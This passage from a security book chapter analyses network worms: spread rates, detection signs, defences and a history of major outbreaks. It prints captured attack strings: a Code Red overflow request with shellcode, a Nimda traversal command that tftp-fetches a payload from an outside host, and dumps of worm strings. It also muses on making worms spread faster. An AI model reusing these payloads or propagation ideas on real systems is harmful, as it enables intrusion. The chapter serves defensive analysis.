Furthermore, different copies of the Morris worm periodically exchanged the list of infected nodes, which, consequently, needn't be reinfected. The presence of any intravirus communications tools considerably increases network traffic. However, if this problem is expertly solved, it is possible to easily prevent network congestion. Having infected all vulnerable nodes, the worm falls into deep hibernation, decreasing its activity to a minimum. It is possible to go even further and allocate a strictly -predefined range of IP addresses available for infection to each worm, which would be automatically inherited by the worm's newborn successors. After that, the process of infecting the network will take an extremely short time, and no IP addresses would be checked twice. Having exceeded the store of IP addresses, the worm would reset its internal counters to their initial state, causing the second wave of infection. Part of the previously-infected hosts will be healed by that time (but probably not patched), and part of them might be reinfected.

Anyway, an expertly-designed worm mustn't cause network congestion. Only irritating programming errors prevent programmers from turning these plans into reality. At first glance, such a worm might seem harmless, and most administrators probably would ignore the messages about the threat (because of the implicit rule stating that there is no need to touch the system until it ceases to work). The holes would remain unpatched, and sometimes, at one unhappy moment, the Internet would go down.

It is instructive to consider the process of propagation of the Code Red virus, which, at the peak of the epidemic, infected more than 359,000 hosts during 24 hours. How were these data obtained? A specialized software monitor installed at the local area network in the Berkeley Laboratory trapped all IP packets and analyzed their headers. Packets sent to nonexistent hosts and redirected to port 80 were recognized as the ones sent by an infected host (Code Red propagated through a vulnerability in Microsoft IISs). Computation of unique sender IP addresses allowed reliable evaluation of the lower boundary of the virus population. If desired, you can also view the dynamics of the virus propagation over the Internet. For this purpose, view the following file: http://www.caida.org/analysis/security/code-red/newframes-small-log.mov . At the same site, there is the text that provides detailed comments for the movie: http://www.caida.org/analysis/security/code-red/coderedv2_analysis.xml . This example is impressive and instructive. I strongly recommend viewing this movie and reading this comment to anyone, especially virus writers. Perhaps they'd learn how to avoid making the entire Internet fail with one of their creations.

Fig. 16.7 illustrates the dependence of the worm propagation rate on time. First, the worm propagated slowly, even lazily. Nevertheless, infection of the main network hosts took it only several hours, after which it occupied practically all industrial countries . The network load was growing sharply; however, ISPs still controlled the intensive traffic. After approximately 12 hours, when the worm began spawning explosively, the traffic grew stepwise several thousand times, and most network resources became unavailable. This retarded the worm propagation, but by that time it was too late, because the lion's share of vulnerable servers was infected. The curve's drop reflects periodic freezes of different Internet segments and their recovery by courageous administrators. Do you think that they were installing patches? No! Four hours later, when the virus stopped its propagation and proceeded with a massive stroke, the curve rose sharply again, and the previous peak appeared as a small hill in comparison to the new one. Isn't 12,000 defaced Web pages per minute an impressive result?

Figure 16.7: Dependence of the worm propagation rate on time

How to Detect a Worm

Detecting expertly-designed and not-too-voracious code isn't a trivial task. There is a range of typical indications of the worm's presence; however, they are unreliable, and only disassembling can provide a certain answer. What should you disassemble? With file viruses the situation is clear: Feed the system with a range of specially prepared "patterns" and see whether one of them is changed. A check for the integrity of system files according to some predefined pattern also produces a good result. In the Windows family of operating systems, there is a special utility, sfc. exe , although a specialized disk inspector would handle this task much better.

Worms might even leave the file system intact and settle in the main memory of the address space of a vulnerable process instead. Recognizing malicious code by its appearance is an unrealistic job, and analyzing the entire memory dump is too complicated and labor-intensive. This is even truer if you recall that there might be no commands explicitly passing control to the worm's code (see the " Structural Anatomy of a Worm " section for more details).

However, no one has ever seen a polite worm that always behaved correctly. Sometimes, highly-intellectual worms can be encountered, developed by talented programmers with high professional skills. Nevertheless, I dare say that all worms encountered in the real world running wild contain the design bugs that could be used to disclose the presence of malicious code.

The most reliable indication of the worm's presence is the large number of outgoing TCP/IP packets that flood the entire network and are addressed to nonexistent hosts. Packets are sent either constantly or regularly after constant (and short) intervals (say, 3 or 5 seconds). At the same time, connections are usually established without using domain names, directly at IP addresses.

Important  

Not every traffic analyzer is capable of detecting this because, at the level of the connect function, the connection is usually established at an IP address returned by the gethostbyname function at appropriate domain names.

However, as was mentioned earlier, the worm can scan local files to detect suitable domain names. These might be local address books of email clients, lists of trusted domains, or even archives of HTML documents (pages containing links to other sites are precious prey for HTTP worms). File scanning can be detected easily. To achieve this, it is enough to view "ledger bait" ” files that no one ever opens under normal circumstances (including antivirus scanners or daemons installed in the system). However, these files probably will be noticed and infected by the worm. It is enough to periodically check when these files were last accessed.

Abnormal network activity is another true indication of the worm's presence. Most known worms spawn at an indecently-high rate, which typically cause a peak in outgoing network traffic. In addition, open ports that you didn't open and to which no one listens, might appear in the system. However, it is possible to listen to a port without opening it. To achieve this, it is enough to insert the worm's code into some low-level network service. Therefore, a qualified administrator must consider the data obtained by network traffic analyzer skeptically if such analyzers are not running on a separate computer that the worm is unable to attack.

Packets with suspicious contents serve as the third indication of the worm's presence. The term "packets" in this case must be interpreted not only as TCP/IP packets but also as email messages containing suspicious text (the worm might disguise itself as spam, however, and no administrator has enough time and patience to carefully investigate every spam message). TCP packets are much more informative in this respect, because their analysis can be automated. What is it necessary to look for? Unfortunately, there are no universal solutions; still, there are some clues. In particular, as relates to Web servers and GET requests, the most typical symptoms of the shellcode are as follows :

• Names of command interpreters ( cmd.exe and sh ) and system libraries (admin.dll and similar files)

• Chains of three or more NOP machine commands that appear approximately as follows: %u9090

• Machine commands such as call esp, jmp esp , and int 80h (the complete list of such commands is too long and therefore won't be provided here)

• Meaningless sequences such as .\.\.\ or xxx used by the virus to cause overflow errors

However, do not even try to directly disassemble the binary code contained in packets that look like the ones intended to cause overflow and capture administrative privileges. Because it is impossible to know beforehand, to which byte of the shellcode the control will be passed, it isn't easy to determine the entry point. There is no guarantee that this will be the first byte of the packet or binary code. Do not rely on an automated search, because it also isn't guaranteed to work. It is enough to slightly encrypt the shellcode; all symptoms of the worm will disappear. Nevertheless, because the size of the overflowing buffer is often small, it is difficult for both the worm head and the encryptor to be held there.

At least the three best-known worms, Code Red, Nimda, and Slammer, can be easily detected by automated analysis.

Listing 16.6: Head of the Code Red worm arriving in the first packet

 GET /default. ida? XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX %u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u 7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00 = a HTTP 1.0 Content- type: text/ xml, Content- length: 3379 

 

Listing 16.7: Head of the Nimda worm

 GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/ c+tftp%20-i%20XXX.XXX.XXX.XXX%20GET%20Admin.dll%20c:\Admin.dll 

 

If the worm contains unencrypted text strings (which frequently is the case), then its malicious nature becomes evident even when briefly viewing the HEX code of the file being studied.

Listing 16.8: Fragment of the MWorm virus

 00005FA0:  47 45 54 20 2F 73 63 72  69 70 74 73 2F 2E 2E 25  GET /scripts/..% 00005FB0:  63 31 25 31 63 2E 2E 2F  77 69 6E 6E 74 2F 73 79  c1%1c../winnt/sy 00005FC0:  73 74 65 6D 33 32 2F 63  6D 64 2E 65 78 65 3F 2F  stem32/cmd.exe?/ 00005FD0:  63 2B 63 6F 70 79 25 32  30 63 3A 5C 77 69 6E 6E  c+copy%20c:\winn 00005FE0:  74 5C 73 79 73 74 65 6D  33 32 5C 63 6D 64 2E 65  t\system32\cmd.e 00005FF0:  78 65 25 32 30 63 3A 5C  4D 77 6F 72 6D 2E 65 78  xe%20c:\Mworm.ex 00006000:  65 20 48 54 54 50 2F 31  2E 30 0D 0A 0D 0A 00 00  e HTTP/1.0 

 

Some worms, to reduce their size and disguise themselves, are packed by some packers for executable files. Before analyzing such a worm, it is necessary to unpack it.

Listing 16.9: Fragment of the Love San worm after unpacking

 000021EC:  77 69 6E 64 6F 77 73 75  70 64 61 74 65 2E 63 6F  windowsupdate.co 000021FC:  6D 00 25 73 0A 00 73 74  61 72 74 20 25 73 0A 00  m %s start %s 0000220C:  74 66 74 70 20 2D 69 20  25 73 20 47 45 54 20 25  tftp -i %s GET % 0000221C:  73 0A 00 25 64 2E 25 64  2E 25 64 2E 25 64 00 25  s %d.%d.%d.%d % 0000222C:  69 2E 25 69 2E 25 69 2E  25 69 00 72 62 00 4D 00  i.%i.%i.%i rb M 0000223C:  64 00 2E 00 25 73 00 42  49 4C 4C 59 00 77 69 6E  d . %s BILLY win 0000224C:  64 6F 77 73 20 61 75 74  6F 20 75 70 64 61 74 65  dows auto update 0000225C:  00 53 4F 46 54 57 41 52  45 5C 4D 69 63 72 6F 73   SOFTWARE\Micros 0000226C:  6F 66 74 5C 57 69 6E 64  6F 77 73 5C 43 75 72 72  oft\Windows\Curr 0000227C:  65 6E 74 56 65 72 73 69  6F 6E 5C 52 75 6E 00 00  entVersion\Run 

 

When analyzing dumps, you have to search for suspicious messages, commands of various protocols ( GET, HELLO , etc.), names of system libraries, command interpreters, operating system commands, pipeline characters , domain names of the sites you didn't plan to visit and whose services are of no use to you, IP addresses, registry keys responsible for automatic start-up of applications, etc.

When looking for the worm's head, remember that the shellcode of the exploit is usually located in the data section and, as a rule, contains easily-recognizable machine code. In particular, the CDh 80h ( int 80h ) command responsible for a direct call to the Linux system functions can be encountered in practically all worms dwelling in this operating system.

In general, after analyzing about a dozen worms, you'll grasp their concepts at such a level of detail that you'll be capable of recognizing the most typical constructs in other organisms without any difficulties. Without seeing worms, it is impossible to study them.

How to Overcome a Worm

It is impossible to ensure 100% protection against worms. On the other hand, all worms that caused large-scale epidemics appeared long after the release of patches and attacked computers that were not updated for months or even years . As relates to servers maintained by individuals claiming to be called administrators, the infection was a deserved punishment for carelessness and negligence. The situation, however, is different with home computers. The average user doesn't have the knowledge, skills, time, and money to regularly download the hundreds of megabytes of trash called a service pack, which often can only be installed after a series of voodoo rites and which causes compatibility problems after installation. Unqualified users never installed patches and updates, and it is unlikely that they ever will.

It is important to understand that antiviral software is principally unable to overcome worms. This is because when they heal the machine, they do not eliminate security holes, and the worm comes time and again. It is not expedient to blindly rely on firewalls. They are capable of promptly closing a vulnerable port and of filtering network packets containing virus signatures. Firewalls operate excellently if viruses attack the port of the service that isn't urgently needed (provided that the firewall isn't chosen as the target for attack). However, the situation becomes much worse if the worm propagates through such a popular service as the Web, for example. It isn't tolerable to close it, and, consequently, it becomes necessary to analyze TCP/IP traffic for the traces left by some worm. In other words, it is necessary to look for individual representatives of the cybernetic fauna.

Some companies manufacture high-performance hardware scanners (Fig. 16.8) based on Programmable Logic Devices (PLDs), detailed information about which can be found at http://www.arl.wustl.edu/~lockwood/ publications /MAPLD_2003_e10lockwood_p.pdf . However, in general, the situation remains depressingly painful. No available scanners are capable of recognizing polymorphic worms, because to carry out this operation in the real-time mode, exceptionally powerful hardware is required. As a result, the cost of the scanner might become comparable with the damage caused by virus attacks (and such worms will appear sooner or later, without any doubts ). At the same time, software scanners reduce the system throughput even more.

Figure 16.8: Hardware traffic analyzer

A strong but radical measure is creating a system snapshot, along with all installed applications, beforehand and in an emergency automatically recovering it once per day or at least once per month. In the operating systems of the Windows NT family, this can be done using the built-in BACKUP utility and system scheduler. This won't help, however, if the virus infects user files (for example, documents, email messages, or downloaded Web pages). In theory, the infection of user files might be discovered by file monitors and systems of version control. In practice, they experience problems even when distinguishing changes introduced by a virus from changes introduced by users. However, it is also possible to feed the virus some ledger bait and periodically control its integrity.

End of the Calm Before the Storm?

Informational bulletins are becoming more and more similar to reports from a battlefield. In just the first years of the new century, there were more than ten devastating virus attacks, which damaged several million computers. It is hardly possible to provide more precise data, because different informational agencies tend to evaluate the scale of epidemic differently; therefore, discrepancies of about 10 to 100 times are common. Anyway, the calm that lasted from the time of the Morris worm came to an end. Virus writers have awaken from the long hibernation and passed into attack mode. Recall how this all began.

The first signs were given by Melissa, which was a typical macro virus propagating through email. It was unable to self-reproduce and, in general, wasn't a network worm in the strict sense of this word. For supporting its vital functions, the virus required a large number of unqualified users that met the following conditions:

• Have a copy of Microsoft Word installed on the computer

• Ignore system warnings about the presence of macros in documents, or have processing of such macros enabled by default

• Use the Outlook Express address book

• Carelessly open all attachments to email messages

Well, there were a lot of such users! According to different evaluations, Melissa infected several hundred thousand to 1.5 million computers all over the world, including in all industrial countries.

The greatest mistake of informational agencies and companies involved in the development of antiviral software was that they, striving for sensational events, made event No. 1 out of the Melissa arrival. By doing this, they excited a large number of programmers with different qualification levels and provoked them by handing them a specimen for imitation. As usual, at first the imitators didn't go any further than dumb imitation . The Internet was swarming with flocks of viruses propagating as email attachments and concealing their bodies under the mask of specific formats. The arrival of viruses propagating through executable files became greatest possible impudence. Impossible as it might seem, there were users that started such files for execution. Different methods of concealment and camouflage (like insertion of a graphical file into the executable one) appeared much later. The much talked of, sensational Love Letter virus, which became famous because of its "romantic" name, didn't provide anything new from the technical point of view. Like its predecessors, it propagated through email attachments, this time containing Visual Basic script. Three million infected machines ” this was a record even the Love San worm couldn't surpass. This serves as an extra indication that there always were and there always will be naive users deaf to all possible warnings.

Qualified users (to speak nothing about professionals) were not excited by the existence of mail worms. They assumed that they were safe. The crucial moment came when the Klez worm appeared, which propagated using the floating- frames implementation error typical for Microsoft Internet Explorer. This time, infection took place when viewing an infected message, not when opening an attachment, and the network community immediately raised the alarm.

However, a year before this event, security specialists noticed the first worm propagating over the network on its own. This worm penetrated vulnerable servers using a security hole in Microsoft IIS and the Sun Solstice AdminSuite. According to some unconfirmed data, this worm infected several thousand machines, more than the Morris worm did. For contemporary network scales , this is a trifle that isn't worth mentioning. Briefly, the virus remained unnoticed, and the software wasn't patched.

This carelessness didn't keep administrators waiting long. Two months later, there appeared a new virus called Code Red. This virus and its later modification, Code Red II, paralyzed more than a million hosts within a short time. The genie broke loose, and thousands hackers, inspired by the success of their colleagues and eager to repeat it, spent days and nights at the keyboard.

Two years later, critical vulnerabilities were found in Apache and SQL servers. Accordingly, specialized worms exploiting these vulnerabilities soon appeared. As usual, the result exceeded all expectations. The Internet was half paralyzed, and some experts even rushed to predict its inevitable death. Others proclaimed that the Internet urgently needed to be restructured (although firing administrators who didn't install patches was all that had to be done).

As the limit to everything, a blatant error was detected in DCOM, which was typical for the entire line of Windows NT-based systems (Windows NT and all its successors, including Windows 2000, Windows XP, and even Windows Server 2003). This vulnerability was typical not only of servers but also of workstations and home computers, which has provided a vast amount of vital resources to the Love San worm. Mainly, this is because most workstations and home computers are maintained by unqualified personnel who practically never update operating systems, install firewalls, patch security holes, or even disable that wretched DCOM.

Note  

To disable DCOM, it is possible to use the DCOMbobulator utility available at the following address: http://grc.com/freepopular.htm .This utility will check your machine for the vulnerability, and it will give you several useful recommendations related to the system security and protection.

Table 16.1 lists the top ten network worms, from the Morris worm until today's worms, with a brief description, including detection time, target of attack, propagation mechanisms, and approximate number of infected machines. As relates to the number of infected hosts, this information was approximated on the basis of data collected from several sources. Therefore, do not take this information for gospel truth.

Table 16.1: Top ten network worms

Virus	Time of detection	Target of attack	Propagation mechanisms	Number of infected machines
Morris worm	November 1988	UNIX, VAX	Debug back door in sendmail, buffer overflow in finger daemon, weak passwords	6,000
Melissa	1999	Email via Microsoft Word	Human factor	1,200,000
Love Letter	May 2000	Email via VBS	Human factor	3,000,000
Klez	June 2002	Email via bug in IE	Vulnerability in IE related to IFRAME	1,000,000
sadmind/IIS	May 2001	Sun Solaris/IIS	Buffer overflow in Sun Solstice AdminSuite/IIS	8,000
Code Red I/II	July 2001	IIS	Buffer overflow in IIS	1,000,000
Nimda	September 2001	IIS	Buffer overflow in IIS, weak passwords, etc.	2,200,000
Slapper	July 2002	Linux Apache	Buffer overflow in OpenSSL	20,000
Slammer	January 2003	Microsoft SQL	Buffer overflow in SQL	300,000
Love San	August 2003	Windows NT/2000/XP/2003	Buffer overflow in DCOM	1,000,000 (possibly more, but this information is not relable)

No expert is able to predict what will happen tomorrow. A new critical vulnerability allowing an attack on an entire family of operating systems can be detected at any moment. As usual, the destructive worm elements will cause damage before administrators will install appropriate patches. This time, the damage might bring the entire industrialized world into chaos.

Interesting Internet Resources

• " Attacks of the Worm Clones: Can We Prevent Them ?" Materials of the 2003 RSA Conference conducted by Symantec. There are lots of informative illustrations. Visit http://www.peterszor.com/virusresearchpapers.html .

• " An Analysis of the Slapper Worm Exploit ." This is the detailed analysis of the Slapper worm carried out by Symantec. Oriented toward professionals, this document is strongly recommended to everyone who knows C and isn't afraid of Assembly: http://securityresponse.symantec.com/avcenter/reference/analysis.slapper.worm.pdf .

• " Inside the Slammer Worm ." This analysis of the Slammer worm is oriented toward advanced PC users. Nevertheless, it might be interesting for administrators: http://www.cs.ucsd.edu/~savage/papers/IEEESP03.pdf .

• " An Analysis of the Microsoft RPC/DCOM Vulnerability ."This is a detailed analysis of the sensational RPC/DCOM vulnerability in Windows NT/2000/XP/2003 strongly recommended to everyone. It is available at http://www.inetsecurity. info /downloads/papers/MSRPCDCOM.pdf .

• " The Internet Worm Program: An Analysis ." This is a historical document released after the Morris worm and containing a detailed analysis of its algorithm. Available at http://www.cerias.purdue.edu/ homes /spaf/tech-reps/823.pdf .

• " With Microscope and Tweezers: An Analysis of the Internet Virus of November 1988 ." This is another historical analysis of the Morris worm architecture: http://www. deter .com/unix/papers/internet_worm.pdf .

• " Linux Virus Writing and Detection HOWTO ." This is an interesting piece on the topic of writing viruses and antiviral software for Linux. Available at http://www.como.linux.it/docs/virus-writing-and-detection-HOWTO/ .

• " Are Computer Hacker Break-ins Ethical ?" In other words, to hack or not to hack ” that is a question! The article is available at the following address: http://www.cerias.purdue.edu/homes/spaf/tech-reps/994.pdf .

• " Simulating and Optimizing Worm Propagation Algorithms ." This article provides analysis of worm propagation depending on various conditions. It is highly recommended for those who love mathematics. The article is available at the following address: http://downloads.securityfocus.com/library/WormPropagation.pdf .

• " Why Anti-Virus Software Cannot Stop the Spread of Email Worms ." This article explains why antiviral software is inefficient as protection against email viruses. It is strongly recommended to all promotion managers dealing with promotion of antiviral software. The article is available at http://www.interhack.net/pubs/email-trojan/email-trojan.pdf .

• Here is an interesting collection of documents related to worms:

  • http://www.dwheeler.com/secure-programs/secure-programming-handouts.pdf

  • http://www.cisco.com/warp/public/cc/so/neso/sqso/safr/prodlit/sawrm_wp.pdf

  • http://engr.smu.edu/~tchen/papers/Cisco%20IPJ_sep2003.pdf

  • http://crypto. stanford .edu/csl55/lecturel2.pdf

  • http://www.peterszor.com/slapper.pdf